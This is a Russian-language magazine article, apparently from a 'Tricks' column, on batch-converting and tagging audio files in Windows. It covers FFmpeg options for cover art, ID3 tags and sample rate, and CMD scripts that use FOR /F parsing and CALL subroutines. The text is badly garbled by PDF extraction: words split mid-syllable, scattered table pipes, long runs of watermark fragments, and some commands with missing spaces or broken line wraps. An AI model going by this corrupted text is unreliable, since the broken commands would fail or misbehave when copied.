WPF-формы можно с помощью визуаль ного конструк тора в бесплат ной вер
сии Microsoft Visual Studio.
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ТРЮКИ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
||
|
p |
|
|
|
|
g |
|
|
||
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
c |
|
|
.c |
|
||
|
|
|
p |
|
|
|
g |
|
|
||
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x ha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Игорь Орещенков r0bur@mail.ru
АВТОМАТИЧЕСКИ КОНВЕРТИРУЕМ И АННОТИРУЕМ АУДИОФАЙЛЫ В WINDOWS
Любите |
ли |
|
|
музыки часто сталкива |
ются |
|
|
с |
необходимостью |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
навести порядок в собствен |
ной |
|
|
коллекции |
|
аудиофай |
лов . |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
А если аудиофай |
лов |
очень много , это превраща |
ется |
в проб |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
лему. В сегодняшней |
статье мы разберем |
способ |
|
|
автомати |
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ческой |
|
|
|
|
|
|
конверта |
ции |
|
|
|
|
|
и |
|
|
|
|
аннотиро |
вания |
|
|
|
|
аудиофай |
лов |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
в Windows с помощью утилиты |
|
FFmpeg и CMD-сценари |
ев . |
|
|
|
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Наступила |
|
весна , приближа |
ется |
лето, и хочется проводить |
свобод ное время |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
на природе |
, вдыхая свежий |
воздух и слушая |
|
голоса птиц. Если же наскучит |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
лесная идиллия , всегда можно разнооб |
разить |
отдых любимой музыкальной |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
композици |
ей , аудиокни |
гой , курсами |
|
иностран |
ного |
языка или общеобра |
зова |
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
тельными |
|
лекциями |
. Замечено , что аудиопле |
еры , будь то отдельные |
|
устрой |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ства или приложе |
ния для смартфо на , гораздо лучше работают с аудиокол |
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
лекциями , файлы которых содержат сведения |
|
об альбомах |
и треках в них. |
|
|
|
|
|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Лицен зион |
ные |
|
|
материалы , как правило |
, сопровож |
дают |
ся всеми необ |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ходимыми атрибута ми . Но есть еще любительские |
|
и диктофон |
ные |
|
записи, |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
оцифровки |
|
|
грамплас |
тинок |
и аудиокас |
сет , свобод но распростра |
няемые |
ком |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
позиции, которые надо упорядо |
чить |
и подписать |
. А еще желательно привес ти |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
параметры файлов в соответс твие |
|
с хранящи |
мися |
в них аудиодан |
ными |
. Нап |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ример, |
оцифрован |
ную |
|
пластинку |
|
|
|
«Мелодия» |
|
с |
|
маркиров |
кой |
|
«Моно» |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
и записью бардов ских |
|
|
песен, исполнявшихся |
|
полвека |
|
назад на концерте |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
в каком нибудь провин циаль |
ном |
доме культуры |
, можно сохранить |
в формате |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
FLAC для истории , но нет никакого практичес |
кого |
смысла записывать |
ее |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
на портатив |
ный |
проигры |
ватель |
в стереофор |
мате |
|
с частотой |
|
|
|
|
дискре тиза |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ции 48 кГц и скоростью |
|
потока 320 Кбит/с. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||||||||||||||||||||
Для конверта |
ции аудиофай |
лов и редактирова |
ния их тегов есть множес тво |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
программ |
, как платных , так и свобод но распростра |
няемых |
, |
с интерфейсами |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
различной |
|
степени |
|
изящес тва и удобства . Но большинс |
тво из них — оболоч |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ки вокруг одного двух проектов |
с |
|
открытым |
|
|
исходным кодом, в которых |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
как раз и реализова |
на вся необходимая |
функци ональ |
ность |
. |
Как правило |
, |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
в основе лежит утилита |
командной |
|
строки , обладающая |
широким набором |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
возможнос |
тей , а графичес |
кая оболоч ка открывает |
доступ к их подмно жес тву , |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
отобранно |
му по принципу |
решения отдельной пользователь |
ской |
проблемы |
. |
|
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Недав но я занимался пакетной |
|
обработ кой |
|
изображений |
, для чего |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
использовал |
программу |
ImageMagick. И случай но обнаружил |
, что в состав ее |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
дистри бути ва входит утилита |
FFmpeg, которая, как известно , умеет выполнять |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
множес тво операций |
|
над медиафай |
|
лами |
. Почему бы не восполь |
зовать |
ся ею |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
для конверта |
ции |
|
|
|
|
и |
|
|
оснащения |
|
тегами |
файлов |
|
|
моей |
аудиокол |
лекции |
? |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Но запускать |
|
утилиту |
командной |
строки и указывать |
множес тво параметров |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
для каждого |
MP3-файла довольно утомитель |
но , и очевид но , что процесс |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
надо автомати |
зиро |
вать . |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||
Из всего богатого спектра |
|
интерпре тиру емых |
|
|
языков |
|
|
и |
систем |
|
|
прог |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
раммирова |
ния , с помощью которых можно было бы легко реализовать |
эту |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
затею, я остановил |
ся на самом примитив |
ном |
|
инстру мен те — языке сценари |
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ев командно го процес сора |
|
|
Windows. Почему? |
|
Во первых , он имеется |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
на любой Windows-платформе |
, от W2K до W11. Во вторых , он напрямую |
пред |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
назначен для автомати |
зации |
рутинных операций |
с файлами |
. А в третьих , он |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
имеет |
встроенную |
|
|
|
сопроводи |
тель ную |
|
|
документацию |
|
|
|
— чтобы получить |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
справку , не придет ся даже открывать |
браузер |
. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||
Итак, |
|
сформулиру |
ем |
|
задачу. Даны аудиоаль |
бомы |
, представ ленные |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
наборами |
аудиофай |
лов . Требует ся добавить к этим файлам |
изображение |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
обложки |
|
альбома |
|
|
|
и |
|
описатель |
ных |
|
тегов из тексто вого |
|
|
файла , а также |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
при необходимос |
ти конверти |
ровать |
эти файлы в формат MP3 с установ кой |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
требуемых |
|
|
|
|
параметров |
|
аудиодан |
ных . Для решения задачи попытаемся |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
использовать |
|
|
программу |
|
FFmpeg и язык сценари |
ев командной |
оболоч ки |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
CMD.EXE, пока корпорация |
разработ |
чик не отправила |
его на свалку истории |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
вслед за Paint’ом. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||
ИЗУЧЕНИЕ ВОЗМОЖНОСТЕЙ FFMPEG |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||||||||||||||||||||||
Начать |
решение задачи я решил с изучения |
|
|
возможнос |
тей FFmpeg в инте |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ресующей |
|
меня области. В том, что она справит ся с конверта |
цией |
аудиофай |
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
лов из одного формата |
в другой , я почти не сомневал |
ся . Но сумеет ли она |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
прикрепить |
|
|
изображение |
|
обложки |
|
и |
|
|
добавить |
|
|
информацион |
ные |
|
|
|
|
теги |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
в результиру ющие |
файлы ? |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||
Мои |
сомнения |
|
|
|
были |
развеяны |
|
статьей |
|
|
|
Стефана |
|
Шмитца |
|
|
|
«Получение |
и установ ка метатегов ID3 с помощью FFmpeg», в которой автор привел при
меры интересу |
ющих |
меня команд. Основная идея заключа |
ется |
в том, что зна |
||||||||||||||||
чения тегов указыва |
ются |
программе |
FFmpeg в виде параметров : |
|
|
|
||||||||||||||
-metadata НазваниеТега="ЗначениеТега" |
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|||||||||||||
Более |
того, в статье |
имеется |
пример |
использования |
тексто вого |
файла |
||||||||||||||
в качестве источника тегов. К сожалению , для этого нужно создавать |
отдель |
|||||||||||||||||||
ные тексто вые |
файлы с тегами для каждого |
аудиофай |
ла , тогда как гораздо |
|||||||||||||||||
удобнее все сведения |
о содержимом |
аудиоаль |
бома |
держать |
в одном тексто |
|||||||||||||||
вом файле . |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Указывать полный путь к исполняемо му файлу FFmpeg в командной строке крайне неудобно . Обычно при установ ке программы предлага ют включить путь в системную переменную окружения PATH, но я предпочитаю ее не засорять. Вместо этого можно поместить в папку , уже присутс твующую в этой переменной , командный файл ffmpeg.cmd следующе го содержания :
@"%ProgramFiles%\ImageMagick-7.1.0-Q8\ffmpeg.exe" %*
Символ @ подавляет эхо печать командной строки , а вместо сочетания %* при выполнении будут подстав лены все параметры , переданные сценарию ffmpeg.cmd. Таким образом , использовать FFmpeg из командной строки для конверта ции файла SRC\sample.wav в TGT\sample.mp3 можно так:
ffmpeg.cmd -i SRC\sample.wav TGT\sample.mp3
Ответ на вопрос , можно ли с помощью FFmpeg снабдить MP3-файл изоб ражением обложки, был практичес ки моменталь но получен в поисковой сис теме. Оказалось , что с точки зрения FFmpeg изображение обложки является для MP3-файла видеопо током и, чтобы склеить его с аудиодан ными , надо восполь зовать ся командой вида
ffmpeg -i SRC\audio.mp3 -i SRC\cover.jpg -map 0 -map 1 -id3v2_version
3-metadata:s:v title="Album cover" TGT\audio.mp3
Спомощью опций -map источники данных из входных файлов отобража ются
в потоки выходного |
файла . Первая |
опция |
определя |
ет первый |
поток, ее |
|||||||||
параметр 0 говорит |
о том, что |
надо использовать |
первый |
|
указан ный |
|||||||||
с помощью опции -i источник, в приведен |
ном |
примере |
это аудиодан |
ные |
||||||||||
из файла SRC\audio.mp3. Вторая |
опция |
определя |
ет второй |
|
поток, |
ее |
||||||||
параметр 1 говорит, что надо использовать |
второй |
указан ный |
с помощью |
|||||||||||
опции -i источник — изображение |
из файла SRC\cover.jpg. |
|
|
|
Слияние файлов с аудиодан ными и изображени ем в аудио- и видеопо токи файла контей нера MP3
По умолчанию |
FFmpeg автомати |
чес ки кодирует |
потоки |
в |
соответс |
твии |
||||||||||||||||||||||||||||||||||||
со своими |
предус танов |
ками |
так, чтобы они отвечали |
формату |
|
выходного |
||||||||||||||||||||||||||||||||||||
файла (определя |
ется |
по расширению |
). Например |
, аудио она конверти |
рует |
|||||||||||||||||||||||||||||||||||||
кодеком LAME с частотой |
|
дискре тиза |
ции |
44 |
|
100 Гц и скоростью |
||||||||||||||||||||||||||||||||||||
потока 128 Кбит/с, а изображение |
преобра |
зует |
в формат PNG. Если манипу |
|||||||||||||||||||||||||||||||||||||||
ляции с обложкой еще можно простить , то описан ные |
действия |
со звуком |
||||||||||||||||||||||||||||||||||||||||
меломаны могут воспри нять |
как личное |
оскорбле ние . К счастью, можно зап |
||||||||||||||||||||||||||||||||||||||||
ретить программе |
выполнять |
какие бы то ни было преобра |
зова |
ния , указав |
||||||||||||||||||||||||||||||||||||||
в командной |
строке опцию -c |
copy. Или запретить |
преобра |
зовы |
вать |
только |
||||||||||||||||||||||||||||||||||||
аудио, конкре тизи |
ровав |
опцию так: -c:a copy. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||
Опция |
-id3v2_version |
3 требует |
|
использовать |
версию |
2.3 |
тегов ID3. |
|||||||||||||||||||||||||||||||||||
Без нее записанное |
в выходной |
файл изображение |
не будет отыскивать |
ся |
||||||||||||||||||||||||||||||||||||||
и демонстри ровать |
ся |
проигры |
вате |
лями |
. Наоборот , опция -metadata:s:v |
|||||||||||||||||||||||||||||||||||||
title="Album cover", назнача |
ющая |
потоку ([b]s[/b]tream) с видеодан |
ными |
|||||||||||||||||||||||||||||||||||||||
([b]v[/b]ideo) атрибут title со значени |
ем "Album |
|
cover", |
служит |
только |
|||||||||||||||||||||||||||||||||||||
декоратив ной цели. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Теги |
ID3 должны |
назначать |
ся |
контей неру |
|
|
MP3 в целом, а не отдельному |
содержащему |
ся |
в нем потоку. Поэтому для них опция -metadata использует ся без дополнитель ных специфи като ров.
В моей аудиокол лекции наряду с музыкальными произве дени ями обнаружи лись аудиопод касты , записанные с высоким качеством . Воспри ятие этих материалов на слух не страдает , если понизить частоту дискре тиза ции (sample rate) до 22 кГц и свести стереоз вук в монодорож ку . Конкре тизи ровать параметры преобра зова ния аудиопо тока программе FFmpeg можно с помощью таких опций:
... -c:a libmp3lame -ar 22050 -ac 1 ...
Опция -c предписыва ет выполнять обработ ку аудиопо тока кодеком Lame MP3, опция -ar задает частоту дискре тиза ции аудиопо тока 22 050 Гц, а опция -ac требует свести звук в одну дорожку . После такого преобра зова ния размер MP3-файлов значитель но уменьшил ся . Допустимые значения частоты дискре тиза ции в порядке убывания качества (Гц): 48 000, 44 100, 32 000, 24 000, 22 050, 16 000, 11 025, 8000.
Управлять качеством звуково го потока можно и с помощью опции, позволя ющей задать мак симальную скорость передачи данных (bitrate). Например , для ограниче ния скорос ти до 96 Кбит/ с надо указать : -b:a 96k.
Продолжение статьи0 →
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ТРЮКИ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
||
|
p |
|
|
|
|
g |
|
|
||
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
← |
|
|
|
|
|
|
|
|
|||
w |
|
|
|
|
|
|
|
|
m |
||
|
0НАЧАЛО СТАТЬИw Click |
to |
BUY |
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
c |
|
|
.c |
|
||
|
|
|
p |
|
|
|
g |
|
|
||
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x ha |
|
|
|
|
АВТОМАТИЧЕСКИ КОНВЕРТИРУЕМ И АННОТИРУЕМ АУДИОФАЙЛЫ В WINDOWS
ИЗУЧЕНИЕ ВОЗМОЖНОСТЕЙ CMD-СЦЕНАРИЕВ
Язык CMD-сценари ев базируется на крайне ограничен ном языке пакетных batch-файлов , который изначаль но использовал ся только для выполнения одной и той же линейной последова тельности команд операци онной сис темы. Но со временем инструк ция FOR была расширена для того, чтобы с ее помощью можно было обрабаты вать тексто вые файлы , выполнять синтакси ческий разбор строк и присваивать переменным сценария значения на осно ве обнаружен ных фрагментов .
Подробную справку о возможнос тях инструк ции FOR выгрузит в тексто вый файл help-for.txt такая последова тельность команд:
CHCP 1251
HELP FOR > help-for.txt
CHCP 866
Коман да CHCP устанав лива |
ет |
кодировку символов |
, которая использует ся |
|||||||||
в сеансе командной |
строки . По умолчанию |
действу ет кодировка CP866 |
||||||||||
(DOS), с которой не умеет работать штатный |
тексто вый |
редактор «Блокнот ». |
||||||||||
Чтобы читать полученный |
тексто вый |
файл |
в блокноте |
, надо перед фор |
||||||||
мированием |
файла установить |
кодировку CP1251 (Windows). В результате |
||||||||||
изучать |
документацию |
можно с помощью команды |
|
|
|
notepad.exe help-for.txt
Разберем принцип работы языка сценари ев с тексто выми файлами на сле дующем примере . Предположим , у нас есть CSV-файл employees.csv со следующим содержимым в кодировке CP1251:
#ШТАТНОЕ РАСПИСАНИЕ
#ООО «Админ на час»
#ТабельныйНомер;Фамилия;Имя;Отчество;Должность;Оклад
1;Иванов;Иван;Иванович;директор;300
2;Петров;Петр;Петрович;главбух;200
3;Сидоров;Сидор;Сидорович;сисадмин;100
Применим к нему команду test-for.cmd employees.csv, где файл testfor.cmd содержит следующий сценарий :
@ECHO OFF
CHCP 1251 > NUL:
FOR /F "eol=# tokens=2,3,5 delims=;" %%I IN (%1) DO ECHO %%J %%I - %%
K
CHCP 866 > NUL:
Ключ /F инструк ции FOR заставля ет ее обрабаты вать содержащи еся в тексто вом файле строки с именем , переданным в качестве первого параметра командной строки , в соответс твии с описани ем структуры тексто вого файла , которое заключено в кавычки . Элемент eol этого описания задает символ (он может быть только один), которым начинается одностроч ный коммента рий (в приведен ном примере это символ решетки #). Такой выбор позволя ет исклю чить из обработ ки первые три строки файла employees.csv. Пустые строки в обработ ке тоже не участву ют , поэтому и его четвертая строка будет про пущена .
В элемен те tokens через запятую перечисляют ся порядковые номера интересу ющих разработ чика информацион ных полей, значения которых раз деляются в обрабаты ваемой строке символами разделите лями , указан ными
в элемен те delims. В приведен ном примере это второе , третье и пятое поле, что соответс твует фамилии, имени и должнос ти. В качестве разделите ля будет использован символ точка с запятой, но при необходимос ти в элемен те delims можно указать один за другим сразу несколь ко символов разделите лей.
Несколь ко идущих подряд разделите лей считают ся одним, а стоящий в самом начале строки раз делитель игнориру ется. Последнее свойство инс трукции FOR позволит организо вать хранение
и обработ ку двух списков в одном тексто вом файле .
После описания структуры в инструк ции FOR указыва ется имя переменной , которой присвоит ся значение первого поля обработан ной строки . В при веденном примере фамилия будет записана в переменную %%I. Значения остальных полей будут присвоены переменным , следующим после указан ной в алфавит ном порядке . В рассмат рива емом примере фамилия и должность попадут в переменные %%J и %%K соответс твен но .
На каждой итерации цикла FOR переменные инициали зиру ются значени ями соответс тву ющих полей, после чего они могут использовать ся в команде , которая записывает ся в инструк ции FOR после слова DO. В приведен ном при мере это команда ECHO, печатающая строку вида "Имя Фамилия - Должность". В результате обработ ки файла employees.csv на экран будут выведены строки :
0
Иван Иванов - директор 0 Петр Петров - главбух 0 Сидор Сидоров - сисадмин
0
Коман ды CHCP в сценарии test-for.cmd нуж ны только для того, чтобы коррек тно отображал ся текст в Windows-кодировке , а конструк ции ... > NUL: использованы для подавления вывода их информацион ных сообщений "Текущая
кодовая страница такая-то".
Модер низации подвер гся и механизм вызова подпрог рамм. Если в BAT-сце нариях инструк ция CALL позволяла только передать управление находящему ся в другом файле BAT-сценарию с последу ющим возвра том, то в CMD-сце нариях появилась возможность времен ной передачи управления внутри выполняюще гося сценария . К сожалению , после перехода по метке отсутс твует возможность досрочно го возвра та в точку вызова, то есть подпрог раммой считает ся код от метки до конца файла .
Работу подпрог раммы рассмот рим на исправленном сценарии , который не только выводит информацию о сотрудни ках, но и подсчи тывает фонд заработной платы .
@ECHO OFF
SET TOTAL=0
CHCP 1251 > NUL:
FOR /F "eol=# tokens=2,3,5,6 delims=;" %%I IN (%1) DO CALL :CALCULATE
%%I %%J %%K %%L
ECHO *** Фонд зарплаты: %TOTAL% ***
CHCP 866 > NUL:
SET TOTAL=
GOTO :EOF
:CALCULATE
ECHO %2 %1 - %3 (%4)
SET /A TOTAL=%TOTAL%+%4
Посколь ку теперь на каждой итерации цикла требует ся выполнять не одну команду , а несколь ко , то удобно в операто ре FOR заменить команду печати ECHO командой вызова подпрог раммы CALL. После слова CALL указыва ется метка строки , с которой начинается подпрог рамма (в приведен ном примере
это :CALCULATE), а дальше следуют аргумен ты , значения которых в подпрог рамме будут присвоены параметрам %1, %2, %3 и так далее по количеству аргумен тов . В приведен ном примере их четыре: Фамилия, Имя, Должность
иОклад.
Вподпрог рамме :CALCULATE выполняют ся все необходимые для обработ ки полей информацион ной строки действия . Во первых , команда ECHO
печатает информацию о сотрудни ке , дополненную величиной его оклада . Во вторых , инструк ция SET (тоже модернизиро ван ная и дополненная приз наком выполнения арифметичес ких операций /A) увеличи вает значение переменной TOTAL, инициали зиро ван ной нулевым значени ем , на величину оклада сотрудни ка .
Как бы тебе ни хотелось украсить листинг сце нария, ни в коем случае не вставляй пробелы
в инструк ции SET между именем переменной , знаком равенства и присваиваемым значени ем. В этой инструк ции каждый пробел имеет зна чение!
Когда цикл FOR завершит обработ ку информацион ных строк файла со штат ным расписани ем, следующей командой ECHO будет распечатан общий фонд зарпла ты, после чего команда SET удалит переменную TOTAL. Одна из важ нейших ролей в этом заключитель ном блоке отведена команде безусловно го перехода GOTO, которая служит барьером между основной программой
и подпрог раммой. Она передает управление на виртуаль ный конец сценария , которому соответс твует предоп ределенная метка :EOF, в результате чего сценарий завершает свою работу.
Продолжение статьи0 →
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ТРЮКИ |
||||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
g |
|
|||
|
p |
|
|
c |
|
|
|
|
|
||
|
|
df |
-x |
|
n |
|
|
|
|
||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
|
X |
|
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
|||
|
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|
|||||
← |
|
|
|
|
|
|
|
|
||||
w |
|
|
|
|
|
|
|
|
|
m |
||
|
0НАЧАЛО СТАТЬИw Click |
to |
BUY |
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
g |
.c |
|
|||
|
|
|
p |
|
|
c |
|
|
|
|
||
|
|
|
|
df |
|
n |
e |
|
||||
|
|
|
|
|
-x ha |
|
|
|
|
|
